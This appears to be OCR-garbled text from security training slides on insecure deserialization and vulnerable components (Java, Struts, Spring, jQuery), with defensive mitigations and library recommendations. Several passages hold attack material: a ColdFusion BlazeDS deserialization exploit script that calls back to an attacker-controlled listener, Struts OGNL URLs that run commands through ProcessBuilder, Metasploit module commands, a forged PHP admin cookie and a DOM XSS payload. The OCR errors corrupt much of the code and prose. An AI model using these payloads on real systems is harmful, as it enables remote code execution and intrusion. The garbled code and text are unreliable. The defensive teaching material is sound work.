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» Sample: File = Ul Object

Example Language: Java

try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.]Button) in.readObject();
in.close();

» Sample: Authentication Token

Example Language: Python

try {
class ExampleProtocol(protocol. Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):

try:

token = cPickle.loads(base64.bo4decode(headers['AuthToken']))

if not check_hmac(token['signature’], token['data'], getSecretKey()):
raise AuthFail

self.secure_data = token['data’]

except:

raise AuthFail
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Attack Samples

» Sample: Super Cookie for Access Control

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;8:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

FUHE (F21E)
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;8:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

] o 7S » /2 Ve
»JAVAE ¥ 2 % >0k BAiVE %
v http://www.digicentre.com.tw/industry detail.php?id=37
Vi St X {1 Javak SHS ISR (£ > B returnz e g B
FTH AL > HRF B 4§32 byteStreampd ¥ ¢ g ﬂierroria"ﬁf]&
#-Payload 2 #4417 - FRAFF R R FE LS § RAEIE
B NEP AESNRES B B el S5t e £ 2 Gadget Chain
ﬁygé‘x'—*g{‘/‘R - H I“_* /= s D _«jd; 5 136
2 2 7 Runtime.getRuntime().exec() ™ & i = & B & 75




EDITION: =

20 18 . 3 mNet Q STORAGE CXO HARDWARE

flaw.

é\_ By Liam Tung | March 8, 2018 -- 14:20 GMT (22:20 GMT+08:00} | Topic

BUILD 2018 MICROSOFT EMBERACES ANDROID AND 10S, EXTENDS TIMELINE FEATURE

Cisco: Update now to fix critical hardcoded
password bug, remote code execution flaw

Cisco patches two serious authentication bugs and a Java deserialization

MICROSOFT  INNOVATION  MORE

Using the hardcoded password an attacker

could log in to thg PCP'§ Linux operating system via SSH as a low-

privileged user, and from there, elevate to root

(ACS

The second critical flaw affects Cisco's Secure Access Control System

and could allow a remote, unauthenticated attacker to execute

arbitrary comments on the device with root privileges.
Download today: T leader's guide to cyberattack recovery

"The vulnerability is due to insecure deserialization of user-supplied

content by the affected software An attacker could exploit this
vulnerability by sending a crafted serialized Java object.” Cisco said.




EDITION: =

STORAGE CXO HARDWARE

MICROSOFT  INNOVATION MORE

Flash, InDesign

seriously.

BUILD 2018 MICROSOFT EMBRACES ANDROID AND 10S, EXTENDS TIMELINE FEATURE

Adobe patches critical vulnerabilities in

Workstation users should treat the latest Adobe security bulletin

a By Charlie Osborne for Zero Day | April 11, 2018 -- 09216 GMT (17:16 GMT+08:00) | Topic: Security

A set of vulnerabilities impacting [Coldfusion pas also been resolved. The

bugs impact the 2016 ColdFusion release update 5 and earlier, as well as
ColdFusion 11, update 13 and earlier versions

Two critical vulnerabilities, CVE-2018-4g93g and CVE-2018-4g42, are bugs
which permit the deserialization of untrusted data and unsafe XML

external entity processing. If exploited. these security flaws may lead to
remote code execution and information disclosure.

# Exploit T :Ltla Adobe Coldfusion BlazeDS Java Object Deserialization RCE

# Date: F

# Exploit A eesh (@DreadSystems)

# Company: ttps://depthsecurity.com)
# Version: be Coldfusion (11.0.83.292866)

# Tested On: UWindows 10 Enterprise (18.8.15063)

# CVE: CVE-2017-3866

# Advisory: https://helpx.adobe.com/security/products/coldfusion/apsbl7-14.html
# Category: remote

# Notes:

# This is a two-stage deserialiration exploit. The code below is the first stage.
# You will need a JRMPListener (ysoserial) listening at callback IP:callback port.
# After firing this exploit, and once the target server comnects back,

# JRMPListener will deliver the secondary payload for RCE.

import struct
import sys
import requests

if len (sys argl) 1= 5:
print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback_port”
quit()

target_IP = sys.argv[1]
target_port = sys.argv[2]
callback 1P = sys.argv[3]
callback port = sys.argvi4]

amf_payload = '\x@81x83\x08" PP 18" + )
"\@7133" + 'sun.rmi.server.UnicastRef’ + struct.pack('>H', len(callback_IP)) + callback TP + \
struct.pack(*»I', int(callback_port)) +
“\xfI\x6a\x76\x7b \X?t‘xde \3 Sbhxb@'\ x4\ x1d\x81\x30\x81\x@d"
url = "http://" + target IP + ":" + target_| por"‘t + "/flex2gateway/amf"
headers = {'Content-Type™: 'application/x-amf

response = requests.post{url, headers=headers, datn amf payload, wverify=False)
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2019-06-13
2019-06-05
2019-0508
2019-03-28
2018-10:25
20190205
2019-0107
20181204
2018-08-13
20180707
2018-05-17
2018-04-22
20160720
2018-0207
2018-01-30
0180129
2017-1219
2017-09-21
2017-09-27
2017-09-19
2017-07-30
2017-06-10
2017-0505
2017-03-27
2017-03-15
2016-11-28
20151215
20130129
2013-01-10
2010-09-27
2010-09-20
20081203
2009-05:20
2007-03-25
2007-03-04
2007-03-04

Sitecore 8.x - Deserialization Remote Code Execution

IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)
Oracle Weblogic Server - AsyncResponseSarvice' Deserialization Remote Code Execution (Metasplait)
Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)

Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)

OpenMRS Platform < 2.24.0 - Insecure Object Deserialization

Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data

HP Intelligent Management - Java Deserialization Remote Code Execution (Metasploif)

Oracle Weblogic Server - Deserialization Remote Code Execution (Metasploit)

Oracle WebLogic 12.1.2.0 - RMI Registry UnicastRef Object Java Deserialization Remote Code Execution
Jenkins CLI - HTTP Java Deserialization (Metasploit)

Oracle Weblogic Server 10.3.6.0/121.3.0/12.21.2/12.2.1.3 - Deserialization Remote Command Execution
Websphere/JBoss/OpenhMS3/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution
Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution

HPE IMC 7.3 - RMI Java Deserialization

Oracle WebLogic - wis-wsat Component Deserialization Remote Code Execution (Metasploit)

Jenkins - XStream Groovy classpath Deserialization (Metasploit)

ERS Data System 1.8.1 - Java Deserialization

Oracle WebLogic Server 10.3.6.0 - Java Deserialization Remote Code Execution

HPE < 7.2 - Java Deserialization

Jenking < 1.650 - Java Deserialization

VMware vSphere Data Protection 5.x/6.x - Java Deserialization

CloudBees Jenkins 2.32.1 - Java Deserialization

Github Enterprise - Default Session Secret and Deserialization (Metasploit)

IBM WebSphere - RCE Java Deserialization (Metasploit)

Red Hat JBoss EAP - Deserialization of Untrusted Data

Jenkins CLI - RMI Java Deserfalization (Metasploit)

Ruby on Rails - JSON Processor YAML Deserialization Code Execution (Metasploit)

Ruby on Rails - XML Processor YAML Deserialization Code Execution (Metasploit)

Java- RMICannectionlmpl Deserialization Privilege Escalation (Metasploit)

Sun Java - Calendar Deserialization (Metasploit)

Sun Java Runtime and Development Kit 6 Update 10 - Calendar Deserialization (Metasploit)

Apple Mac 0SX - Java applet Remote Deserialization Remote (2)

PHP < 4.45/5.2.1-'_SESSION Deserialization Overwrite

PHP < 4.45/5.2.1- WDDX Session Deserialization Information Leak

PHP < 4.45/5.2.1- PHP_binary Session Deserialization Information Leak

WebApps
Remate
Remote
Remote
Remote

WebApps

WebApps
Remate
Remote

WebApps
Remote
Remote
Remote
Remote
Remote
Remote
Remote
Remote
Remote
Remote
Remote
Remote

Dos
Remote
Remote

WebApps
Remote
Remote
Remote
Remote
Remate
Remote
Remote

Local
Local
Local

ASPX

Windows
Multiple
Multiple
Multiple

Java

Windows
Windows
Windows
Multiple
Linux
Multiple
Multiple
Windows
Windows
Multiple
Muttiple
Windows
Java
Java
Java
Multiple
Java
Linux
Windows
Java
Java
Multiple
Multiple
Multiple
Multiple
Multiple
0SX
Linux
Multiple
Multiple

Jarad Kopf
Metasploit
Metasploit
Metasploit

allyshka
Bishop Fox
Anthony Cole
Metasploit
Metasploit
bobsecq
Metasploit
brianwrf
Nikhil Sreekumar
Faisal Tameesh
Chris Lyne
Metasploit
Metasploit
West Shepherd
SlidingWindow
Raphael Kuhn
Janusz Piechdwka
Kelly Correl
SecuriTeam
Metasploit
Metasploit

Mediaservice net Sr
Metasploit
Metasploit
Metasploit
Metasploit
Metasploit

sf
Landon Fuller
Stefan Esser
Stefan Esser
Stefan Esser
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» [OWASP]: “The only safe architectural pattern is not to
accept serialized objects from untrusted sources or to use
serialization mediums that only permit primitive data

types”.

2.0

>
; £ % JSON ~ XML £ ¥ # 42 3¢
BRI G (Plied:Fki g T 184))

For Java:
— Use a safe replacement for the generic readObject() method .
— Use the “transient” keyword to denote nonserializable fields.
— Explicitly define a final object() to prevent deserialization.

\\\“‘i

\/ :&?%_é_’? %E A%g'\!.i \‘14 = private final voild readObject(ObjectInputStream in) throws java.lo.IOException {
F] throw new java.io.IOException("Cannot be deserialized");
. 3 }
v \}‘iﬁ A T

v R 745 3PF E &xLog
- FHRAGEF
- R¥HF
v g T de-serializationsPA W E 4 H B F 5 R ¥V REFS
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v TOOlS https://www.owasp.org/index.php/Deserialization_Cheat Sheet

Mitigation Tools/Libraries

« Java secure deserialization library https:/github.com/ikkisoft/SerialKiller=

« SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT &
« NotSoSerial https://github.com/kantega/notsoserial=

Detection Tools

« Java deserialization cheat sheet aimed at pen testers®

« A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.=
« Java De-serialization toolkits https://github.com/brianwrf/hackUtils @

« Java de-serialization tool https://github.com/frohoff/ysoserial &

« Java de-serialization detection by DNS https://github.com/GoSeecure/break-fast-serial#

= BUrD SUite exiension hitps:J/oithub.com/iedericodotia/java-Deserialization.sScanner/releases®
« Java secure deserialization library https://github.com/ikkisoft/SerialKillers
« Serianalyzer is a static bytecode analyzer for deserialization hitps://github.com/mbechler/serianalyzers

« Payload generator https://github.com/mbechler/marshalsece
« Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda
« Burp Suite Extension
« JavaSerialKiller hitps://github.com/NetSPI/JavaSerialKiller#
« Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner#
« Burp-ysoserial https://github.com/summitt/burp-ysoserial &
« SuperSerial https://github.com/DirectDefense/SuperSerial#

« SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active®
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v Tools(cont.)

— Java secure deserialization library : “SerialKiller”
> https://github.com/ikkisoft/SerialKiller

How to protect your application with SerialKiller

1. Download the latest version of the SerialKiller's Jar. Alternatively, this library is also available on Maven Central

2. Import SerialKiller's Jar in your project

3. Replace your deserialization ObjectinputStream with SerialKiller

4. Tune the configuration file, based on your application requirements
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A9 - Using Components with Known
Vulnerabilities
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asel: Struts

Bnd D - Title Type Piatiorm Author
2018-09-10 3 Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploi) remote Multiple Metasploit
2018-08-26 + Apache Struts 23<2.3.34/2.5< 2516 - Remate Code Execution (1) remote Linux Mazin Ahmed
2018-08-25 k4 X Apache Struts 2.3 <2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2) remote Multiple hook-s3c
2018-0517 ¥ Apache Struts 2 - Struts 1 Piugin Showcase OGNL Code Execution (Metasploit) remote Multiple Metasploit
2017-09-08 : Apache Struts 2.0.1<2.3.33/ 2.5<2.5.10 - Arbitrary Code Execution remote Multiple brianwrf
2017-09-06 - -] % Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution remote Linux Warflop
2017-07-07 * Apache Struts 2.3 x Showcase - Remote Code Execution webapps Muitiple Vex Woo
2017-06-06 - ¥ Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution remote Multiple nixawk
2017-03-15 * Apache Struts 2.3.5=2.3.31 / 2.5 2.5.10 - Jakarta' Multipart Parser OGNL Injection (Metasploit) remofe Multiple Metasploit
2017-03-07 + Apache Struts 2.3.5<2.3.31/ 2.5< 2.5.10 - Remate Code Execution webapps Linux Vex Woo
2016-06-10 s Apache Struts - REST Plugin With Dynamic Method Invocation Remate Code Execution (Metasploit) remote Multiple Metasploit
2016-05-02 ¥ Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit) remote Linux Metasploit
2014-05-02 * Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit) remote Multiple Metasploit
2014-03-06 * Apache Struts <1.3.10/ = 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit) remote Multiple Metasploit
2014-02-05 * Apache Struts - Developer Mode OGNL Execution (Metaspioit) remote Java Metasploit
2014-01-14 * - Apache Struts? 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection webapps Multiple Takeshi Terada
2013-07-27 + Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (Metasploit) remote Multiple Metasploit
201307-16 + v Apache Struts 2.2 3 - Multiple Open Redirections remote Multiple Takeshi Terada
2013-06-05 * Apache Struts - includeParams Remote Code Execution (Metasploit) remote Multiple Metasploit
2013-06-05 * . Apache Struts - OGNL Expression Injection remote Multiple Jon Passki
2013-03-22 + Apache Struts - Parametersinterceptor’ Remote Code Execution (Metasploit) remote Multiple Metasploit
2012-08-23 ¥ v Apache Struts 2 - Skill Name Remote Code Execution remote Multiple kxlzx
2012-06-05 * Apache Struts 2.2 1.1 - Remote Command Execution (Metasploit) remote Multiple Metasploit
2012-03-23 * . Apache Struts 2.0 - 'XSLTResult java’ Arbitrary File Upload webapps Java voidioafer
2012-02-02 + ¥ Apache Struts - Multiple Persistent Cross-Site Scripting Vulnerabilities webapps Multiple SecPod Research
2012-01-08 + . Apache Struts 2 = 2.3.7 - Multiple Vulnerabil ties webapps Multiple SEC Consult
2011-12-07 + Apache Struts 2.0.9/2.1 8 - Session Tampering Security Bypass remote Multiple Hisato Killing
2011-08-19 b4 . Apache Struts < 2.2.0 - Remote Command Execution (Metasploit) remote Multiple Metasploit
2011-05-10 + Apache Struts 2.0.0 = 2.2.1.1 - XWork 's-submit’ HTML Tag Cross-Site Scripting remote Multiple Dr. Marian Ventuneac
2010-07-14 + X Struts2/XWork < 2.2.0 - Remote Command Execution remote Multiple Meder kydyraliev
2008-11-04 * Struts 2.0.11 - Multiple Directory Traversal Yulnerabilities remote Multiple Csaba Barta
2005-11-21 3 . Apache Struts 1.2.7 - Error Respanse Cross-Site Scripting remote Multiple Irene Abezgauz
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» CVE-2013-2251: Remote Code Execution

v' Simple Expression - the parameter names are evaluated
as OGNL.

— http://host/struts2-blank/example/X.action?action:%25{3*4}
— http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

v' Command Execution

— http://host/struts2-
blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.l
ang.String[]{'command’,'goes’,'here'})).start()}

— http://host/struts2-

showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(n
ew-+java.lang.String[]{'command’,'goes’,'here'})).start() }

— http://host/struts2-
showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBu
ilder(new+java.lang.String[]{'command’,‘goes’,"here'})).start()}



® 52016 X

C ) | @ struts.apache.org/docs/s2-016.html

Home > Security Bulletins > 52-016

Apache Struts 2 Documentation

S52-016

Summary

& vulnerability introduced by manipulating parameters prefixed with "action:”/"redirect:"/"redirectaction:” allows remote command execution

Who should read this | All Struts 2 developers and users
Impact of vulnerability  Remote command execution
Maximum security rating Highly Critical ,‘_i’K i i %%
Recommendation Developers should immediately upgrade to Struts 2.3.15.1
Affected Software Struts 2.0.0 - Struts 2.3.15
Reporter Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE Identifier CVE-2013-2251
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C 1t | ® www.securityfocus.com/bid/

osecunt}’rocus ‘._ " » About » Contact

i info || discussion || exploit || solution || references |

Apache Struts CVE-2016-3081 Remote Code Execution Vulnerability

Bugtraq ID: 87327 Exn?rlnonlgs*i Home  Exploits  Shelicode  Papers  Google Hacking Database Submit  Search

Class: Unknown
- R — Apache Struts - Dynamic Method Invocation Remote Code
Rerite; Yes Execution (Metasploit)
Local: Mo
Published: Apr 22 2016 12:00AM
da EDB-ID: 39756 Author: Metasploit Published: 2016-05-02
Update'd: Oct 26 2016 12:09AM CVE: CVE-2016-3081  Type: Remote Platform: Linux
Credit: Mike Zheng Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework
Vulnerabfe' Oracle Siebel APDS . E—Billing 7.1 E-DB Verified: ¢ Exploit: § Download /[5View Raw  Vulnerable App: N/A
Oracle MICROS Retail XBRi Loss Prevention 10.8.1 - o
« Previous Exploi ext Exploit »
Oracle MICROS Retail XBRi Loss Prevention 10.8 ‘ ’
Oracle MICROS Retail XBRi Loss Prevention 10.7 :#This module requires Metasploit: http://metasploit.com/download
Oracle MICROS Retail XBRi loss Prevention 10.6 zacum‘ent source: https://github.com/rapid7/metasploit-framework
Oracle MICROS Retail XBRi Loss Prevention 10.5 require 'msf/core’
Oracle MICROS Retail XBRi Loss Prevention 10.0.1 class MetasploitModule < Msf::Exploit::Remote
: : Rank = ExcellentRankin
Oracle FLEXCUBE Private Banking 12.1 Byl ) .
include Msf::Exploit::Remote::HttpClient
Oracle FLEXCUBE Private Banking 12.0.3 include Mef: Exploit: EXE ?
Oracle FLEXCUBE Private Banking 12.0.2 R il
super(update_into(info,
Oracle FLEXCUBE Private Banking 12.0.1 ?EE;EP_ t_’ " => 'apache Struts Dynamic Method Tnvocation Remote Code Execution’,
escription =>
Oracle FLEXCUBE Private Banking 2.2 This_rﬁodgl: explgiggzs rergogech?mand exicgtiogev;lne;agi?;g 2in A:achs Sgr;ts
Oracle FLEXCUBE Private Banking 20:x %i;i:ggin}‘;ﬁe;e ;l:e;'for;:d vi;metfigs(:egreﬁ:m.whén ;;nami:.!’e;:hw))é Iﬁzgcztigne
Oracle FLEXCUBE Private Banking 2.0 Ve ' —
wuthor = 1XawW| B
Huawei OceanStor Onebox Y100R003C10 L LA
ererences =
Huawei OceanStor N8500 V200R001C91SPCI0L P , , : :
Huawei OceanStor NB500 V200R001C91SPCO00 { ;gfj 'ﬁgtgg??f’aw‘.\'].;Eebug.urg/vuldhlssvid-gusg' 1| httpS//WwweXpl()It_dbCom/exp|0|t8/39756/

Huawei OceanStor N8500 V200R001C91SPC205
Huawei OceanStor N8500 V200R001C91
Huawei OceanStor N8500 V200R001C0O9SPC505

Huawei OceanStor N8500 V200R001C09 > use exploit/multi/http/struts_dmi_exec

Huawei OceanStor 9000 Y300R005CA0 exploit( ) > show targets

Huawei OceanStor 9000 V100R0O01C30 e tiirgetsi ..

Huawei OceanStor 9000 V100R001C01 exploit( ) > set TARGET <target_id>

Huawei OceanStor 5800 V3 0

Huawei OceanStor 5300 V3 V300R003C00
Huawei OceanStor 5300 V32 W200R002C10
Huawei OceanStor 5300 V3 V300R001C20

Huawei OceanStor 18800 V300R003C10 https://www.rapid7.com/db/modules/expy

Llvaios Py onCEae IDCO0 VWD VIOAADANITT N |

exploit( ) > show options

exploit( ) > exploit

loit/multi/http/struts_dmi_exec 149




™

late ¥

Ladlc

2018-09-10

2018-08-26

2018-08-25

2018-05-17

2017-09-08

2017-09-06

2017-07-07

2017-06-06

2017-03-15

2017-03-07

2016-06-10

2016-05-02

|

|

l« |& |@&

|

-."I)'

T
Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)

Apache Struts 2.3 < 2.3.34/ 2.5 < 2.5.16 - Remote Code Execution (1)

Apache Siruts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)

Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)

Apache Struts 2.0.1 < 2.3.33 / 2.5 <2.5.10 - Arbitrary Code Execution

Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution

Apache Struts 2.3.x Showcase - Remote Code Execution

Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution

Apache Struts 2.3.5<2.3.31 / 2.5 < 2.5.10 - 'Jakarta’ Multipart Parser OGNL Injection (Metasploit)
Apache Struts 2.3.5<2.3.31 /2.5<2.5.10 - Remote Code Execution

Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution (Metasploit)

Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)

remote
remote
remote
remate
remote
remote
webapps
remole
remote
webapps
remote

remote

Platform
Multiple
Linux
Multiple
Multiple
Multiple
Linux
Multiple
Multiple
Multiple
Linux
Multiple

Linux

Metasploit
Mazin Ahmed
hook-s3c
Metasploit
brianwrf
Warflop
Vex Woo
nixawk
Metasploit
Vex Woo
Metasploit

Metasploit
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Case2: Spring

2019-06-17

2019-04-30

2018-03-15

2011-09-09

2010-06-18

2010-03-23

2010-03-15

2002-0717

e & | |&€ |« |« |«

| 4=

L

Spring Security OAuth - Open Redirector

Spring Cloud Config 2.1.x - Path Traversal (Metasploit)

Spring Data REST < 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution
Spring Security - HTTP Header Injection

Spring Framework - Arbitrary code Execution

SpringSource (Multiple Products) - Multiple HTML Injection Vulnerabilities

iPhone Springboard - Malformed Character Crash (PoC)

Macromedia Sitespring 1.2 - Default Error Page Cross-Site Scripting

webapps
webapps
webapps
remote
webapps
webapps
dos

webapps

Platform
Java
Java
Java

Multiple
Multiple
PHP
Hardware

JSP

ialals
Ll iJ

Riemann
Dhiraj Mishra
Antonio Francesco Sardella
David Mas
Meder Kydyraliev
Aaron Kulick

Chase Higgins

Peter GrA%ndl
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Cased: jQuery

CVE Details

The ultimate security vulnerability datasource

Log In Register
Home J Sl bility Statisti
Browse : Jguery : Vulnerability Statistics
Vendors
Products Products (3)  Vulnerabilities (8) Search for products of Jquery  CVSS Scores Report  Possible matches for this vendor

| Search |
|| ViewCVE |

Vulnerability Feeds & WidgetsNew www.itsecdb.com

Vulnerabilities By Date

Vulnerabilities By Type
Reports :

CVSS Score Report

CVSS Score Distribution

Related Metasploit Modules

Vulnerability Feeds & Widgets

Vulnerability Trends Over Time

Search : # of Code
Year . DoS )
Vendor Search Vulnerabilities Execution
rct
Product Search 2007 =
Versicn Search o 3
Vulnerability Search e
By Microsoft References 2017 1
Top 50 : 2018 4 2
Vendors 2019 a
Vendor Cvss Scores Total 8 1
t
Products % Of
Product Cvss Scores All 12.5 0.0

Versions

Overflow

0.0

Memory

sql

Corruption Injection

0.0

0.0

X558

Iy | I | | = | =

75.0

Directory
Traversal

0.0)

Hite Bypass Gain Gain File # of
Response N . . CSRF . .,

s something Information Privileges Inclusion exploits
Splitting

Jquery : Security Vulnerabilities (Cross Site Scripting (XSS))

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9
Sort Results By : CVE Number Descending CWVE Number Ascending CVSS Score Descending
Copy Results Download Results

Number Of Exploits Descending

# CVEID CWE #of Vulnerability ~ Publish = Update = Score Gained Access Complexity Authentication Conf. Integ. Avail.
ID  Exploits Type(s) Date Date Access
Level

1 CVE-2019-11358 78 Xss 2015-04- 2015-06- 4.3 None Remote  Medium Not required None Partial None

19 12
JjQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {3}, ...) because of Object.prototype poliution.
If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.

2 CVE-2016-7103 79 XSS 2017-03- 2015-04- None Remote Medium None Partial None

15 23
Cross-site scripting (XS5) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText
parameter of the dialog function.

4.3 Not required

3 CVE-2015-9251 79 XSS 2018-01- 2015-06- 4.3 None  Remote Medium  Notrequired None Partial None
18 10
jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option,
causing text/javascript responses to be executed.
4 CVE-2014-6071 79 XSS 2018-01- 2018-11- 4.3 None Remote Medium Not required None Partial None
16 30
jQuery 1.4.2 allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to use of the text method inside after.
5 CVE-2012-6708 79 XSS 2018-01- 2015-06- 4.3 None  Remote Medium  Notrequired None Partial None

18 10

jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strinput) function does not differentiate selectors from HTML in a
reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving
attackers more flexibility when attempting to construct a malicious paylead. In fixed versions, jQuery only deems the input to be HTML if it explicitly
starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common.

6 CVE-2011-4969 79 XSS 2013-03- 2015-04- None Remote Medium None Partial None

08 16

1.3 Not required




DOM XSS PoC with jQuery V1.7 via $(location.hash) in deals.ebay.com

PoC URL http://deals.ebay.com/#<svg onload="alert("|Query V1.7)"> | 3

25,2013 | Resolved June 2013

T 7 ) T

http://deals.ebay.com

Alert Detail Click here to hide
Hide the alert
T
Description Query V1.7
URL hitp://deals.ebay.com i . Sii— ‘L
Parameter location.hash via <svg onload="al §| J http://deals.ebay.com/#<svg onload="alert(9)" >

Other information CWE-79.Type(: In DOM-based X!

JolR g OH & Waiting for deals.eb... * ‘ ‘

controlled, trusted script that is sef
and then injects it back into the w

Hil T - -Mobile-
Hil Sign in or register | Daily Deals Bobile

i eb y f&g‘;é’é Search. .
saydeals

Limited Time Events

Daily Deals

Today Only

Tablets & More

Shop By Category

Tech Deals

Fashion Deals

MyeBay  Sell  Community

All Categories

Home Deals

Never miss a deall

Vizio 42" 1080p 120Hz 3D LCD HDTV E3D420VX,

Tech Deals
Fashion Deals
Home Deals

Even More Deals

Featured Weekly Deals

Recommended For You
Customer Favorites
eBay Deals Staff Picks
Top Trending on eBay
Top Selling Tablets

Hot Computers and More

Includes 2 3D Glasses

$389.99 £520.99

NI Message from webpa.‘.!, PXs | g™

See Details

BEDO

Raspberry Ketone
Lean Advanced We...

Bionaire Table

Fan
$39.99 g:%gg
$9999 81% off list price




Case5: JQuery Ul

CVE DEtails l_“:ﬁxE

The ultimate security vulnerability datasource

LogIn Register Vulnerability Feeds & WidgetsNew [y

Switch to https://

Jgueryui » Jquery Ui : Vulnerability Statistics

Home
Browse : e . . . .
il Vulnerabilities (1) CVSS Scores Report  Browse all versions — Possible matches for this product  Related Metasploit Modules
endors
Products Related OVAL Definitions : Vulnerabilities (0) Patches (2) Inventory Definitions (0) Compliance Definitions (0)

Vulnerabilities Bv Date  \yy|nersbility Feeds & Widgets
Vulnerabilities By Type

Vulnerability Trends Over Time

Reports :
CWSS Score Report Http
CVSS Score Year # 01.' . o5 Code Overflow M.emor'_.r . Sqll Directory Response B'_.rpas.s Gam. .G.am CSRE F1Ie. # of.
I Vulnerabilities Execution Corruption Injection Traversal == something Information Privileges Inclusion exploits
Distribution Splitting
Search : 2014 1 1
Vendor Search Total 1 1
Product Search
% Of All 0.0 0.0 0.0 0.0 0.0 100.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0

Version Search
Wulnerability Search

By Microsoft
References

Top 50: Vulnerabilities By Year  Vulnerabilities By Type
vendors 1 2014 1 1 MW xs551

Wendor Cvss Scores
Products
Product Cvss Scores

Wersions
Other :
Microsoft Bulletins | Jaueryui » Jquery Ui : Security Vulnerabilities (Cross Site Scripting (X53))

Bugtrag Entries
CWE Definitions

About & Contact

CVSS Scores GreaterThan: 0 1 2 3 4 5 6 7 8 9
Sort Results By : CVE Number Descending CWE Mumber Ascending CWVSS Score Descending Mumber Of Exploits Descending
Copy Results Download Resulks
¥ CVE ID CWE ID # of Exploits Vulnerability Type(s) Publish Date Update Date Score Gained Access Level Access Complexity Authentication Conf. Integ. Avail.

1 CVE-2012-6662 79 XS5 2014-11-24 2016-12-23 4.3 None Remote  Medium Not required None Partial None

Cross-site scripting (XS5) vulnerability in the default content option in jguery.ui.tooltip.js in the Tooltip widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary
web script or HTML via the title attribute, which is not properly handled in the autocomplete combe box demo.

Total number of vulnerabilities : 1 Page : 1 (This Page)
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Most used Java components with critical vulnerabilities

LIBRARY VERSION % OF JAVA

commons-collections-3.2.1.jar 3.2.1 Bl 25.0%

commons-fileupload-1.2.1.jar
batik-css-1.7.jar

batik-util-1.7.jar
commons-fileupload-1.2.jar
batik-ext-1.7.jar
spring-web-3.1.1.RELEASE.jar
spring-core-3.1.1.RELEASE.jar
spring-beans-3.1.1.RELEASE.jar
spring-context-3.1.1.RELEASE.jar
spring-expression-3.1.1.RELEASE.jar
spring-jdbc-3.1.1.RELEASE.jar
struts-1.2.9.jar
spring-aop-3.1.1.RELEASE.jar
spring-asm-3.1.1.RELEASE.jar
spring-tx-3.1.1.RELEASE.jar

spring-context-support-3.1.1.RELEASE.jar

spring-orm-3.1.1.RELEASE.jar
spring-jms-3.1.1.RELEASE.jar
spring-webmvc-3.1.1.RELEASE.jar

APPLICATIONS
1.21 B 10.4%
1.7 B 95%
17 B 94%
1.2 B 93%
13 B 9.2%
3.1.1L.RELEASE | 4.7%
3.1.1.RELEASE | 4.7%
3.1.L.RELEASE | 4.6%
3.1..RELEASE | 4.5%
3.1.1.RELEASE I 4.4%
3.1.1.RELEASE | 4.4%
1.2.9 I 4.3%
3.1.1.RELEASE | 4.3%
3.1.1L.RELEASE | 4.3%
3.1.L.LRELEASE | 4.2%
3.1.L.LRELEASE | 4.2%
3.1.1.RELEASE | 3.8%
3.1.1.RELEASE | 3.8%
3.1.1L.RELEASE | 3.8%

https://www.veracode.com/sites/default/files/Resources/Reports/state-of-software-security-volume-7-veracode-report. pdf
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>R BARPMEATTE LR L

v Exploit DB

v CVE
VR F R
v °F = release note

> 3383w 1 £

Profile: Default '_l |_'| H % IFiIter:i_struts i )D
Test Diescription
= Scripts Acunetix WS scripks

= [D PostCrawl

; [ struts?_ClassLoader_Manipulation,script

